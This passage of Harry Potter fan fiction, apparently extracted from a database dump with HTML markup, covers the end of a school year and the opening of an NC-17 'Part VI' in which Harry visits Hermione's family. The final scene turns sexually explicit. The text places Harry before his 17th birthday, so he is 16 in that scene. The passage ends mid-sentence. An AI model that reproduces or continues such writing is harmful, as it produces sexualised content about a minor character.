. . . I love you, too.&quot;<br>\n\n<br> **************<br>\n\n<br> It took a great deal of effort and some charms Harry had never heard of before, but eventually all the dormitories were reopened. Harry and Hermione slipped in behind McGonagall, made it up the stairs to hide the cloak and were back down to the common room and present at the house meeting as if they had been in the tower the whole time. The only one who noticed them show up out of nowhere was Ron who gave them a rather dramatic eye roll. Harry couldn\'t help but notice that Ron also had a knowing smirk on his face.<br>\n\n<br> &quot;We are investigating the matter at hand and hopefully, it will be solved with all due speed. We don\'t think it will cause a problem for the students since you will be departing for home tomorrow,&quot; Professor McGonagall said, not explaining much.<br>\n\n<br> Hermione raised her hand and McGonagall called her name.<br>\n\n<br> &quot;Professor, I was curious to whether this has happened to only the paintings at Hogwarts or to all magical paintings and portraits?&quot; Hermione asked and was going to go onto another question when Professor McGonagall started speaking.<br>\n\n<br> &quot;At this time, we only know about the ones here at Hogwarts. An owl has been dispatched to the ministry to inform them of the situation. If other pieces of art are effected, I\'m sure they will report back to us,&quot; she said. Hermione\'s hand shot back up into the air.<br>\n\n<br> &quot;What about photographs?&quot;<br>\n\n<br> Everyone in the room turned to Colin who shrugged his shoulders. &quot;They seem to be fine for now.&quot;<br>\n\n<br> &quot;I suggest you all return to bed and get some rest. I know the tendency for students to want to carouse about on the last night of the term but under the circumstances, I would appreciate it if you would finish packing and turn in for the night,&quot; Professor McGonagall said, cutting off Hermione before she could ask more questions. She turned and went out the portrait that was standing wide open now. Two of the seventh year boys decided to guard the entrance all night and they followed the professor out.<br>\n\n<br> Slowly, many of the younger students did return to their dorm rooms but the older ones lingered around a bit longer. Eventually, it was just Ron, Harry and Hermione at one table while some seventh years sat in front of the fire trying to hold onto the last bit of their school days before they had to leave it all behind in the morning.<br>\n\n<br> &quot;When I said you should do something dramatic so we could get out of school, I didn\'t mean wait until the last minute,&quot; Ron said with a smile.<br>\n\n<br> &quot;I had nothing to do with this. Hermione, are you sure you\'ve never read more about the portraits here? You always know everything,&quot; Harry said.<br>\n\n<br> &quot;Except for how they were enchanted in the first place,&quot; she said, shrugging her shoulders. &quot;I can go look it up if you\'d like me to. I have a few books up in my room and I\'m sure if I did some research . . .&quot;<br>\n\n<br> &quot;No, that\'s okay!&quot; Harry said, worried she\'d disappear into her books on their last night together for a while. <br>\n\n<br> &quot;I guess it will have to be a mystery for them to solve over the summer,&quot; Ron added.<br>\n\n<br> &quot;I\'m sure it will be in the Daily Prophet so we will all know,&quot; Hermione said. <br>\n\n<br> &quot;If I\'m lucky, Uncle Vernon will still allow me to receive a paper this summer,&quot; Harry said glumly. <br>\n\n<br> &quot;If he doesn\'t, I know how to send letters by Muggle post and I\'ll let you know. We might not even have to use Hedwig at all. That ought to make him happy. And I know how to use the phone properly,&quot; Hermione said.<br>\n\n<br> &quot;Uncle Vernon will never let me speak to either of you. Doesn\'t matter what anyone said to him last year. He can\'t help himself. He\'s got to make a big scene first,&quot; Harry said. <br>\n\n<br> &quot;We\'ll just have to see about that,&quot; Hermione said, sounding rather determined that they were going to speak to one another this summer no matter what.<br>\n\n<br> **************<br>\n\n<br> The train ride home wasn\'t going to last long enough. Harry spent the first part holding Hermione\'s hand, the two of them talking about everything they could think of, including how the portraits still weren\'t right this morning. Ron sat across from them, dozing off when the topic would once again return to how much Harry was going to miss her over the summer or how Hermione was going to try to convince her parents to let him come for a visit no matter what his uncle had to say about it. <br>\n\n<br> Members of the Gryffindor Quidditch team stopped by at different times to say goodbye to Harry and Ron. Zoila Witherite sat by Ron for quite a while and everyone but Hermione discussed their favorite teams and some new plays Zoila was planning to work on over the summer. Harry bought one of everything from the witch with the candy trolley but neither he nor Hermione were interested in eating, leaving it all to Ron and Zoila. <br>\n\n<br> After the younger witch left, Ron watched Hermione and Harry briefly before excusing himself. &quot;I\'m going to, um, check on Ginny . . . to see if she\'s ready. I\'ll be back in half an hour, okay?&quot; he asked and Harry smiled at him, glad to see that Ron understood he wanted a few minutes alone with Hermione before their journey ended.<br>\n\n<br> &quot;That girl likes you, Harry,&quot; Hermione said as soon as Ron was down the corridor. &quot;And she seems very nice . . . for a second year.&quot;<br>\n\n<br> &quot;Can we please not discuss her in the time we have left together?&quot; Harry asked, pulling Hermione closer to his side, his arm wrapped around her shoulder. &quot;There are so many other things I\'d rather do.&quot;<br>\n\n<br> &quot;Like what?&quot; Hermione asked, a coy smile on her face.<br>\n\n<br> &quot;Like spend the next half hour kissing you.&quot;<br>\n\n<br> &quot;That sounds like a great plan,&quot; Hermione said, turning around in his arms so they could kiss. He held her as their mouths met, tongues exploring. The train clacked gently down the tracks and soon, she was resting her head against his chest. &quot;It was a strange year. Strange but wonderful this time.&quot; <br>\n\n<br> Harry was still worried about the fact that something incredibly bad didn\'t happen this year. He wanted to laugh at the thought that he couldn\'t have a normal year and consider it . . . normal. He fell in love with his one best friend and still had Ron as a best friend, Gryffindor won the house cup and he got pretty good grades on his final exams and for the first time in a long time, he felt as normal as he possibly could considering who he was and the world he now lived in. <br>\n\n<br> Unfortunately, it was all coming to an end too quickly and he\'d have to go spend his time with the Dursleys feeling like a freak until it was time to return to Hogwarts. <br>\n\n<br> Ron returned and sat across from them again. Hermione didn\'t move from her spot in Harry\'s arms and Ron gave them a little eye roll before focusing his attention to the landscape passing by outside the window. <br>\n\n<br> &quot;We\'re getting close,&quot; he said, sounding too happy to be going home. <br>\n\n<br> Hermione and Harry both turned to look out the window only to discover that Ron was right. This year (and this train ride) was about to end. <br>\n\n<br> &quot;It would be best if we didn\'t say our goodbyes in front of my aunt and uncle,&quot; Harry told Hermione and she sat up, disentangling herself from his arms. &quot;Or your parents for that matter.&quot;<br>\n\n<br> &quot;Oh, Harry . . .&quot; Hermione said, her voice filled with a sadness that went straight to his heart. <br>\n\n<br> &quot;Should I leave again?&quot; Ron asked and Harry shook his head. <br>\n\n<br> &quot;No . . . because we\'re here,&quot; Harry said as the Hogwarts Express pulled into the station. It came to a stop and they watched as students started filing past their compartment and off the train. Crookshanks meowed sharply from the basket he had been sleeping in the whole ride but neither Harry nor Hermione seemed anxious to move. <br>\n\n<br> &quot;I\'m going to go help Ginny with her trunk. Can we still say goodbye in front of your uncle, Harry, or will he suspect something is going on between us?&quot; Ron said, trying to lighten the mood up a little but it didn\'t work. <br>\n\n<br> &quot;I\'ll see you in a few minutes, Ron,&quot; Harry said, standing up and offering his hand to Hermione. She ended up in his arms wrapped in a tight embrace. <br>\n\n<br> &quot;It will all be okay. Just because nothing terrible happened this school year doesn\'t mean that it\'s coming over the summer. You can stop worrying,&quot; Hermione said, trying to sound as comforting as possible. <br>\n\n<br> &quot;I know. I just feel better when I can see you every day.&quot;<br>\n\n<br> &quot;We\'ll both be fine and it will be September before we know it,&quot; she said, sounding rather doubtful about that. <br>\n\n<br> Harry didn\'t want to let her go but knew he had to. Her parents would be anxiously waiting to see her and the Dursleys . . .would be waiting. <br>\n\n<br> Ron came back, informing them that he grabbed enough trolleys for everyone and that they really couldn\'t stand here all day. Harry and Hermione pulled apart and he picked up the basket with her cat and handed it to her. He smiled at how much had changed since they got on the train to Hogwarts last September. She was so excited about some boy and now she was his girlfriend instead. At this moment, with the pain of separation upon them, he wasn\'t so sure that this whole plan was such a good idea. <br>\n\n<br> Then Hermione smiled before giving him one last kiss and he realized that all her plans were well worth it. <br>\n\n<br> ***********<br>\n\n<br> To Be Continued . . .<br>\n\n</p>\n\n '),
	(18, 6, ' \n\n\n\n<title>Harry Potter and the Infernal Plan Part VI</title>\n\n\n\n<p>Harry Potter and the Infernal Plan Part VI<br> by Jori<br>\n\n<br> REVISED July 2003<br>\n\n<br> e-mail: Jori@netroenterprises.com<br>\n\n<br> Set during and after their sixth year at Hogwarts, Hermione asks something of Harry that will change their lives forever. <br>\n\n<br> NC-17.<br>\n\n<br> Spoilers for all five books. Most of this was originally written well before Order of the Phoenix came out but I decided to go back and do some edits. Some were very necessary while others were more cosmetic.<br>\n\n<br> H/Hr story<br>\n\n<br> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.<br>\n\n<br> ***********<br>\n\n<br> Harry held an envelope, staring at the address printed in a feminine hand, not quite ready to turn it over to Uncle Vernon yet. It had come by the normal post with the rest of the day\'s mail, but he knew there was still going to be yelling involved. Somehow, yelling was always involved anytime he asked the Dursleys for anything.<br>\n\n<br> This was far too important for him to give up without trying, though. He straightened up, gathered his resolve, and marched into the kitchen. The Dursleys didn\'t even turn their head to acknowledge he was there.<br>\n\n<br> &quot;Mail, boy?&quot; Uncle Vernon demanded, waving a fat hand at Harry as he continued to stare at the television.<br>\n\n<br> &quot;Uncle Vernon, I have a letter . . .&quot;<br>\n\n<br> Uncle Vernon\'s face began to turn red before he could even tell him who it was from.<br>\n\n<br> &quot;It better not be from that school of yours,&quot; Uncle Vernon said, not taking his eyes off of the television set.<br>\n\n<br> &quot;No, it\'s not.&quot;<br>\n\n<br> &quot;And it better not be from *those* people,&quot; he said, the redness now reaching the tips of his ears.<br>\n\n<br> &quot;Those people . . . you mean the Weasleys? No, I don\'t think they would have used the regular mail. This is from the Grangers,&quot; Harry said, looking at the return address once more before handing it over.<br>\n\n<br> Harry already knew what was written in the letter. Uncle Vernon had already put a stop to him getting any mail by regular post once this summer so he had been secretly exchanging mail with Hermione using Hedwig as the go between even though he\'d promised he wouldn\'t. Harry would have complained to his friends at the Order but he didn\'t really want to tell them why it was so important he needed to get mail. <br>\n\n<br> He had to have some kind of contact with her and although he deeply desired to pick up the telephone and call, he knew that would never be allowed or if he were allowed, it would come at a price. Instead, Hedwig would bring back a letter in the middle of the night and he would read it over and over until he was too tired to keep his eyes open for another minute.<br>\n\n<br> This particular letter was about Harry going to visit the Grangers and more importantly, visiting them during the week of his birthday. So few of his birthdays had been all that enjoyable and he hoped this year would be different. He wanted to spend it with Hermione. They had worked hard to secretly plan this and he hoped that Uncle Vernon and Aunt Petunia would agree.<br>\n\n<br> He watched as Uncle Vernon tore open the envelope and pulled out the letter. It was from Hermione\'s parents, just like they had arranged several nights ago. Uncle Vernon\'s eyes skimmed over the words and his expression changed several times.<br>\n\n<br> &quot;This . . . Mr. and Mrs. Granger,&quot; he said slowly (pronouncing their name as if it were a dreadful disease).<br>\n\n<br> &quot;Yes?&quot; Harry asked.<br>\n\n<br> &quot;Are they abnormal like you and this Herm . . . this . . . friend of yours? Are they also freaks?&quot; Uncle Vernon asked, unable to pronounce Hermione\'s name no matter how many times he might have heard Harry say it.<br>\n\n<br> &quot;Oh, no. They\'re dentists,&quot; Harry said and with that, the red on his uncles face lightened up by at least one shade.<br>\n\n<br> &quot;And why should I let you stay there?&quot; he asked. Harry had hoped that getting rid of him for a few days would have been reason enough. They didn\'t know that Hermione was his girlfriend and he preferred to keep it that way. If they knew that, they would never let him go since that might mean he\'d enjoy himself. No, he\'d have to come up with an awful reason and the Dursleys would surely say yes.<br>\n\n<br> Harry thought quickly. &quot;You know how I\'ve been complaining about that tooth?&quot; Harry asked, placing his hand on his cheek. Uncle Vernon merely nodded. Harry knew he could complain for ages and none of the Dursleys would have heard.<br>\n\n<br> &quot;What has that got to do with any of this?&quot; Uncle Vernon asked. Harry looked over and saw Dudley staring at him instead of the television, probably waiting for the yelling. Dudley loved it when Harry got yelled at.<br>\n\n<br> &quot;Like I said, the Grangers are dentists. I\'m sure they\'ll be more than happy to have a look at it. That would save you and Aunt Petunia a lot of time,&quot; Harry said, knowing he\'d never let the Grangers actually touch any of his teeth. Not when Madam Pomfrey could fix it up quickly and without the pain that Muggle dentists liked to inflict.<br>\n\n<br> Harry didn\'t really care about the tooth anyway. What he did care about is that Uncle Vernon looked like he liked the idea.<br>\n\n<br> &quot;And I see they\'re willing to pick you up,&quot; he said, looking at the letter again. Harry didn\'t know how much begging Hermione had to do in order for her parents to agree to this but he was thankful for it. The Dursleys would never drive him that far nor would they let him go by himself. He knew that for sure.<br>\n\n<br> &quot;Oh, of course they are,&quot; Harry said, not trying to conceal the fact that other people were always willing to do things for him even if the Dursleys were not.<br>\n\n<br> &quot;You better not get into any kind of trouble with this girl,&quot; Uncle Vernon said without realizing what he was saying. Aunt Petunia turned towards her husband, her eyes wide. Dudley just snickered. None of them thought Harry knew anything about sex. Little did they know he now knew quite a bit.<br>\n\n<br> &quot;What do you mean, Uncle Vernon?&quot; Harry asked, playing dumb.<br>\n\n<br> &quot;I meant . . . I mean, you better behave when you\'re in their home,&quot; he said, fumbling for words.<br>\n\n<br> &quot;I will, Uncle Vernon. I promise,&quot; Harry said, fighting to contain his smile. He knew if he smiled, he might change his mind.<br>\n\n<br> He also knew that when he returned, the Dursleys would most likely figure out some way to punish him for no reason but a few days with Hermione would make it all worth it. A part of him wished that Ron would be able to come, too, but he was in Romania visiting his brother. Another part of him was quite glad that Ron was gone because he would get to be with Hermione alone.<br>\n\n<br> &quot;You\'re letting him go? Just like that?&quot; Dudley asked, sounding terribly disappointed.<br>\n\n<br> &quot;We\'ll take the time to go on a little trip ourselves, Dudders. Anywhere you want to go now that we don\'t have to worry about him,&quot; Aunt Petunia said, giving Harry a smug look. Harry didn\'t care where the Dursleys went as long as he was far away from them.<br>\n\n<br> Since Mrs. Figg had disappeared from the neighborhood, they hadn\'t even been able to go on Dudley\'s birthday trip without having to drag Harry along. Of course, Harry knew what happened to his old baby-sitter, but he wasn\'t about to tell them. Now, the only chance they got to go for a holiday was when Harry would go to the Weasleys. He was old enough to stay on his own but they would never allow it. <br>\n\n<br> &quot;Uncle Vernon, can I please go call the Grangers?&quot; Harry asked, noticing how happy his uncle looked at the prospect of a little vacation without having to worry about Harry.<br>\n\n<br> &quot;Keep it short, boy. No more than a minute,&quot; he said, and Harry rushed for the phone, hoping that it would be Hermione answering.<br>\n\n<br> ***************<br>\n\n<br> The meeting with the Grangers was going better than Harry expected. Of course, it helped that they showed up driving a perfectly respectable new automobile and knocked on the front door instead of trying to arrive through the fireplace.<br>\n\n<br> They were also wearing Muggle clothes (Hermione in a pair of blue jeans, much to Harry\'s keen disappointment since he had been hoping for a skirt) instead of long flowing bright green robes or anything else that Uncle Vernon and Aunt Petunia would find abnormal.<br>\n\n<br> Obviously, Hermione had warned her parents to avoid certain topics since Uncle Vernon and Mr. Granger made small talk about the Prime Minister and the weather without the word magic being mentioned once. Uncle Vernon even forced out a small laugh when Mr. Granger joked about them both being in the drilling business. Meanwhile, Aunt Petunia was terribly pleased at how Mrs. Granger was carrying on about how lovely the house was.<br>\n\n<br> Harry looked at Hermione from across the room and smiled a real smile for the first time all summer. He hoped that they could leave soon so he didn\'t have to worry about the Dursleys changing their minds. And he couldn\'t wait to be alone with Hermione in the back seat of the car where there was the outside chance he could hold her hand when her parents weren\'t looking.<br>\n\n<br> &quot;Have you met the Weasleys?&quot; Mr. Granger asked and Uncle Vernon started to turn a funny shade of reddish purple. &quot;Wonderful family . . .&quot;<br>\n\n<br> &quot;That . . . family . . .&quot; Uncle Vernon started to say, his voice now a snarl and his ears tipped in a rather painful red.<br>\n\n<br> &quot;Look at the time!&quot; Hermione said, standing up and interrupting Uncle Vernon. She thrust her wrist out towards Mr. Granger and he quickly realized he said the wrong thing.<br>\n\n<br> &quot;Yes, we should be going. Long drive and all,&quot; Mr. Granger said, reaching for his wife\'s arm. &quot;We\'ll take good care of Harry and you\'ll have him back safe and sound in a few days.&quot;<br>\n\n<br> &quot;Lovely house. Very lovely house,&quot; Mrs. Granger said one more time, trying to smooth over her husband\'s mistake.<br>\n\n<br> Harry grabbed his large bag (he wasn\'t about to leave all his school supplies and his wand behind) and rushed out the door with Hermione right behind him. They raced to the car and shut themselves inside before Uncle Vernon could say another word. While Mr. and Mrs. Granger were saying their last goodbyes to the Dursleys at the front door, Hermione leaned over and gave Harry a quick yet sweet kiss. It was a little awkward, after so long apart, but he was sure he could get used to her all over again quickly.<br>\n\n<br> &quot;I\'ve missed you so much. All of you,&quot; she said, the look of longing on her face so intense that it made a slow warmth travel through Harry\'s body, leaving his cheeks flushed. His body also reacted in a few other ways, some slightly more embarrassing than others. Hermione didn\'t fail to notice this and she smiled, obviously pleased that she still had this power over him.<br>\n\n<br> &quot;Not as much as I\'ve missed you,&quot; he said, holding onto her hand while he still had the chance. She pulled away from his touch as soon as her parents got into the car, shutting the doors on the red faced Dursleys.<br>\n\n<br> &quot;Sorry about that, Harry,&quot; Mr. Granger said, pulling his car out onto Privet Drive and getting away from there as quickly as he could. &quot;In all my years of drilling away on people\'s teeth, I don\'t think I\'ve ever seen anyone turn that particular shade of red. Or was it purple?&quot;<br>\n\n<br> Harry looked out the back window as they drove further away from the Dursleys, happy to be getting away if only for a few days. He saw their newest neighbor, a nice old lady by the name of Mrs. Wobbleton, wave to him from her front yard as her skinny gray cat circled around her ankles. Before he had a chance to wave back, they turned onto a different street.<br>\n\n<br> Looking forwards, he sighed with relief. &quot;That was nothing. He once turned such a bright shade of red that I thought I might have accidentally turned him into an apple . . . except, I don\'t know how to turn people into apples. Hermione probably does,&quot; Harry said proudly and the Grangers laughed nervously. Although the Grangers were quite proud of their daughter, Harry often forgot that they quite possibly had no clue how brilliant of a witch their daughter actually was.<br>\n\n<br> &quot;Er -- yes. Speaking of apples, is anyone hungry? We could stop for a spot to eat soon,&quot; Mrs. Granger said and the idea sounded quite agreeable to Harry. It was then that he noticed Hermione hadn\'t taken her eyes off him yet and his cheeks turned bright red at the thought of all the things he wanted to do to her. That was, if they ever got a chance to be alone.<br>\n\n<br> Knowing Hermione, she had already planned a few dozen ways to make that happen.<br>\n\n<br> *************<br>\n\n<br> &quot;I forgot to tell you that Hedwig arrived this morning. I put her in the guest bedroom and away from Crookshanks. Obviously, your owl was in on our plans,&quot; Hermione whispered to Harry as they got out of the car in front of the Granger house. Although, for obvious reasons, it wasn\'t magical like the Weasley\'s, it was a very nice house. Better than Uncle Vernon could ever own.<br>\n\n<br> &quot;I couldn\'t leave her with the Dursleys. Can you imagine what Dudley would do to her?&quot; Harry asked, following Hermione up the front walk, his bag over his shoulder. The only thing he left behind was his broomstick and a few old books, but he hid them well.<br>\n\n<br> Before they could get to the door, a voice behind them said, \'Hello, Hermione.&quot;<br>\n\n<br> Both Harry and Hermione turned to look at a teenaged boy on his bicycle. Harry guessed he was about his age, only a little taller and stockier . He spoke in an accent Harry hadn\'t heard in years and he had neatly trimmed light brown hair and big blue eyes that moved from Hermione over to Harry.<br>\n\n<br> &quot;Er -- Drew. Nice to see you,&quot; Hermione said, sounding as if it was anything but nice. So this was Drew, Harry thought, looking him over more closely. When Drew looked back at Hermione, giving her a spectacular smile, Harry decided immediately that he hated him more now than he did already.<br>\n\n<br> Harry also wanted to reach for Hermione\'s hand and hold it in his, but her mother was watching from the doorway. If she found out that they were more than friends now, their time together might come to an abrupt end.<br>\n\n<br> &quot;Hello, Drew! We haven\'t seen you in a few days. Why don\'t you come in for some tea?&quot; Mrs. Granger called out. Hermione turned around and shot a nasty look at her mother. She didn\'t seem to notice. All that Harry noticed was that she said days. Not months or weeks, but they hadn\'t seen Drew in a few days. He\'d have to remember to ask Hermione about that.<br>\n\n<br> &quot;Thank you, Mrs. Granger, but I see that Hermione already has company,&quot; Drew said, pouting just a little.<br>\n\n<br> &quot;There\'s always room for one more. Hermione, dear, aren\'t you going to introduce your friends to each other?&quot; Mrs. Granger said and now Hermione was also pouting. She waited until her mother was inside the house and the door was closed before she said another word.<br>\n\n<br> &quot;Drew Rowntree, this is Harry Potter. Harry, this is Drew,&quot; Hermione said, nodding from one boy to the other.<br>\n\n<br> &quot;So you\'re him,&quot; Drew said.<br>\n\n<br> &quot;Him who?&quot; Hermione and Harry both asked at the same time. Hermione had told Harry that she didn\'t use him as her excuse to break up with Drew. There were too many other problems besides the fact that they had sex together, although that was certainly a big one.<br>\n\n<br> &quot;The famous Harry Potter,&quot; Drew said and that caused both Harry and Hermione\'s mouths to gape open. There\'s no way he could possibly know that and if he did know, who was he?<br>\n\n<br> &quot;What do you mean by that?&quot; Harry asked, his hand smoothing his bangs down over his forehead.<br>\n\n<br> &quot;Aren\'t you the boy . . .&quot;<br>\n\n<br> &quot;The boy who what?&quot; Harry asked, interrupting him as he fought back the fear that was surging through him. Surely he was just some boy who happened to move to Hermione\'s neighborhood last summer. He was nothing more.<br>\n\n<br> &quot;The boy who stole Hermione from me,&quot; Drew finished and Harry let out a sigh of relief.<br>\n\n<br> &quot;Oh, you must be kidding. I was never really yours, Drew. And besides, Harry and I are just friends,&quot; Hermione said and Drew laughed.<br>\n\n<br> &quot;Sure you are. I\'ll see you later, Potter,&quot; he said as he got on his bicycle again and peddled away.<br>\n\n<br> Harry stared after him for a moment before turning to Hermione. &quot;That was pleasant. Whatever did you see in him?&quot;<br>\n\n<br> She took a long time to consider her answer. &quot;He\'s not all that bad.&quot;<br>\n\n<br> &quot;Really?&quot; Harry asked, wrinkling up his nose.<br>\n\n<br> &quot;Yes, but he\'s no Harry Potter,&quot; Hermione added, grabbing Harry by the hand and pulling him towards the house.<br>\n\n<br> ************<br>\n\n<br> The bedroom door had barely even been closed for less than a minute before Mrs. Granger opened it.<br>\n\n<br> &quot;I\'d prefer it if you kept the door open, dear,&quot; she said to Hermione while staring at Harry. He was only looking through the hundreds of book titles crammed onto one of her shelves. She had four other bookshelves just like it that he had yet to get to and he was beginning to think she was trying to reproduce the Hogwarts library in her own bedroom.<br>\n\n<br> Meanwhile, Hermione was sitting at her desk, stroking a purring Crookshanks. Here in a room decorated with old childish posters of pastel unicorns (that looked nothing like the real thing) and flowery rose colored bedding, they were quite the picture of innocence.<br>\n\n<br> &quot;Yes, Mum. I\'ll leave it open,&quot; Hermione said, rolling her eyes. Mrs. Granger gave them a smile and looked like she wanted to be invited in to chat with them but Hermione didn\'t say another word. As soon as her mother\'s footsteps had retreated down the staircase to the first floor of the house, Hermione got up and closed the door, though not quite all the way.<br>\n\n<br> Harry had just gone back to looking at the books when he felt a hand on his arm. Hermione turned him around so quickly that he lost his balance and sort of toppled into her embrace.<br>\n\n<br> &quot;I\'m so happy you\'re here,&quot; she said, holding him tight. Harry\'s arms wrapped around her and for the first time since he had kissed her goodbye on the Hogwarts Express, he felt as if he were right where he belonged. He leaned down to give her a light kiss on the lips but she wasn\'t happy with just that. With a quick glance at the partially open door to make sure neither of the elder Grangers were standing about, they both decided it was safe to go just a little bit further.<br>\n\n<br> With the next kiss, her lips parted under his and she moaned as his tongue swirled around her mouth. He didn\'t know what part of her he wanted to touch first and his hands roamed around until brushing across her breasts. He was tempted to pull her shirt out of her jeans but it was then that he heard a noise outside the door and they both jumped apart.<br>\n\n<br> Hermione straightened out her clothes and went to look. No one was there except Crookshanks, who looked very much like he was standing guard. Harry sat down on Hermione\'s desk chair while she sat on the edge of her bed.<br>\n\n<br> &quot;This was easier at Hogwarts,&quot; she said, flopping back on the bed and sounding as frustrated as he felt. &quot;Oh, there\'s something important that I haven\'t told you yet.&quot;<br>\n\n<br> &quot;What?&quot; Harry asked apprehensively. He had spent the last two months worried that Hermione might decide to end it again and there was nothing he would be able to do about it while locked up at the Dursleys. Surely, she wouldn\'t invite him here, kiss him and then tell him she didn\'t think she could keep doing this? He shouldn\'t worry but he couldn\'t help it. This had been the longest summer of his life. The entire term at Hogwarts had gone smoothly -- too smoothly as a matter of fact -- and Harry was just waiting for something to go wrong.<br>\n\n<br> &quot;Do you remember how I always took care of certain . . . things using various charms and potions?&quot; Hermione asked and Harry sighed with relief. This wasn\'t as bad as what he was considering and he knew exactly what she was talking about. Muggles had their methods of birth control and so did the wizarding world.<br>\n\n<br> &quot;Yes,&quot; he said, moving from the chair to the floor near where her feet were dangling.<br>\n\n<br> &quot;I very well can\'t go practicing magic outside of Hogwarts. I love you, Harry, but I don\'t want to risk expulsion,&quot; she said, lowering her voice in case someone was listening nearby. &quot;Nor do I think we\'re ready to be parents. That wouldn\'t fit into my plans very well.&quot;<br>\n\n<br> &quot;Probably not,&quot; he agreed.<br>\n\n<br> &quot;Not now, anyway,&quot; Hermione added and Harry just nodded. As much as he wanted his own family someday, he wasn\'t so sure what kind of a parent he would be after spending all those years with the Dursleys. He had no clue how one was supposed to be a good parent but he was sure it didn\'t include locking one child up in a cupboard while you gave the other one everything he asked for.<br>\n\n<br> But Hermione had good parents. Maybe too good. Harry heard someone walking up the stairs and he grabbed a book from the bottom of the pile near Hermione\'s bed, pretending he had been reading all the while.<br>\n\n<br> &quot;Hermione? Harry?&quot; Mrs. Granger called.<br>\n\n<br> &quot;Yes, Mum?&quot; Hermione said, sitting up so she was facing the door. They were still the picture of innocence as far as Harry could tell.<br>\n\n<br> Mrs. Granger opened the door all the way and Harry looked up at her from his place on the floor. She looked at him curiously and it was then that he realized he had been looking at *the* book. At their book. He had Hermione take it home, worried about what the Durlseys would do if they found it in his belongings. It was well disguised in Hermione\'s sea of books until Harry pulled it out. He hoped that the figures on the front were sleeping right now and not doing what they were usually doing. Closing the book, he placed it cover down next to him and picked up an old spell book and began flipping through it.<br>\n\n<br> &quot;I was wondering, Harry, what you would like to do for your birthday?&quot; Mrs. Granger asked.<br>\n\n<br> &quot;I don\'t know, Mrs. Granger,&quot; he answered, shaking his head. It wasn\'t a question he was accustomed to. He knew of all the things Dudley had done for his birthday over the years but he was far too old for a lot of that now. What did boys want to do for their 17th birthday? He knew what he wanted to do but he was pretty sure that wasn\'t the answer Mrs. Granger would like to hear.<br>\n\n<br> &quot;Don\'t worry about it yet, Mum. Harry and I will figure out something good to do,&quot; Hermione said, causing Harry to blush at all the hidden implications in that.<br>\n\n<br> &quot;Let me know so we can make plans,&quot; Mrs. Granger said and that made Harry smile. Perhaps planning things ran in the family. She left again, making sure the door was wide open. They said nothing until they heard her banging pans around in the kitchen downstairs.<br>\n\n<br> &quot;There are other things we can do besides have sex. I came here to see you, Hermione. I wanted to see where you grew up and what your life is like when you\'re not at Hogwarts. I don\'t care about anything else,&quot; Harry said, turning to look at Hermione. She raised an eyebrow at him. Maybe he did care a little but he didn\'t want to get them in trouble over it.<br>\n\n<br> &quot;Harry, it\'s just that I wanted to . . . for your birthday. I planned this for so long and I can\'t believe I forgot something so obvious,&quot; she said.<br>\n\n<br> He picked their book up and stared wide-eyed at what was happening on the cover. They never failed to amuse him with their antics.<br>\n\n<br> &quot;There are other things we can do where we don\'t have to worry about not being able to use magic,&quot; he said, flipping the book open to one of his favorite pages. She reached for the book and smiled nervously at him upon reading it. It was something she had never done to him and he certainly didn\'t want to pressure her into it. He reached for the book and flipped to another page. &quot;And I wouldn\'t mind trying this as long as you think you\'d like it.&quot;<br>\n\n<br> She took the book back again and her cheeks grew red upon reading the passage.<br>\n\n<br> &quot;I -- I think I might like to try both of those things,&quot; she said, sliding off the bed onto the floor next to him. He wrapped an arm around her shoulders, pulling her close. It was then that they heard her mother drop something downstairs.<br>\n\n<br> &quot;Are your parents light or heavy sleepers?&quot; Harry asked Hermione.<br>\n\n<br> &quot;I don\'t know but we\'re going to find out tonight,&quot; she answered.<br>\n\n<br> *************<br>\n\n<br> Harry stared at the ceiling of the guest bedroom for as long as he could before quietly getting ot of bed and sneaking down the hall. He thought he heard something moving behind him so he ducked into the bathroom only to find that Crookshanks was at his heels.<br>\n\n<br> &quot;Oh, Crookshanks, be a good kitty tonight and find something else to do,&quot; he whispered and the cat blinked twice at him before taking off down the hall. It was if he understood him perfectly. As he continued down the hall, Harry stopped outside of the Granger\'s closed door and heard only the sound of soft snoring.<br>\n\n<br> Hermione\'s room was right across from the softly glowing nightlight that had probably been there since she was small. He slipped into her room silently and closed the door behind him, turning the lock with a gentle click.<br>\n\n<br> &quot;What took you so long?&quot; Hermione whispered from her bed and he followed the sound of her voice across the darkness, tripping once over a pile of books.<br>\n\n<br> &quot;I wanted to make sure they were asleep,&quot; Harry said, keeping his voice down. Hermione held up the blankets and Harry climbed into bed.<br>\n\n<br> &quot;I couldn\'t wait any longer. I was about to come to you,&quot; she said as they snuggled together, hands roaming freely. &quot;I only wish we could . . .&quot;<br>\n\n<br> &quot;We\'ll just have to think of something else,&quot; he said, quieting her with a kiss. Her mouth opened under his and the soft noise she made in the back of her throat sent a jolt of heat traveling down his body. Tugging up her pajamas, his hands went to her breasts and felt her nipples grow hard under his touch. She pulled away from both his mouth and hands and wriggled all the way out of her gown, tossing it aside. That was the only piece of clothing she had on.<br>\n\n<br> He was growing accustomed to the darkness and in her eyes, he could see that she was as hungry for this as he was. Maybe more so. Moving around, Hermione clung to him now, as if she were afraid to let him go and he held her back just as hard.<br>\n\n<br> &quot;I missed you. I tried everything I could imagine to stop thinking about you but it didn\'t help,&quot; she said.<br>\n\n<br> &quot;So, what did you do beside write me letters? Read all your school books again? Is that why there\'s spell books piled knee high in here? Or did you visit with friends? he asked, wondering if this was why Mrs. Granger had seen Drew so recently. Maybe Hermione was being friendly with him as a way to distract herself. Harry hated that notion and tried to shake the thought from his mind.<br>\n\n<br> &quot;Besides write to you constantly, I did nothing that really mattered. I was so scared that with time, you\'d realize that falling in love with one of your best friends was a silly idea. That\'s why I wrote you so often,&quot; she said and he pulled her up so he was looking into her eyes again. Her fingers slid up the old T-shirt he was wearing for pajama tops and she smoothed her hand over his stomach and to his chest until it was resting over his heart.<br>\n\n<br> &quot;I was afraid you wouldn\'t need me. That you\'d meet another Drew -- or maybe he\'d get you back -- and that would be the end of it. I\'d be stuck at the Dursleys and you\'d be happy. I lived for your letters, Hermione, but I was always worried one would come with the news that it was over,&quot; he said, sounding like some scared little boy rather than someone who had dealt with unspeakable things. Losing Hermione would be unspeakable at this point in his life. He needed her.<br>\n\n<br> &quot;That isn\'t going to happen,&quot; she said, her hand moving under the waistband of his pajamas. She wrapped her fingers around the beginnings of his erection and slid them up and down until he was hard.<br>\n\n<br> &quot;Hermione,&quot; he moaned softly into the darkness as she pulled 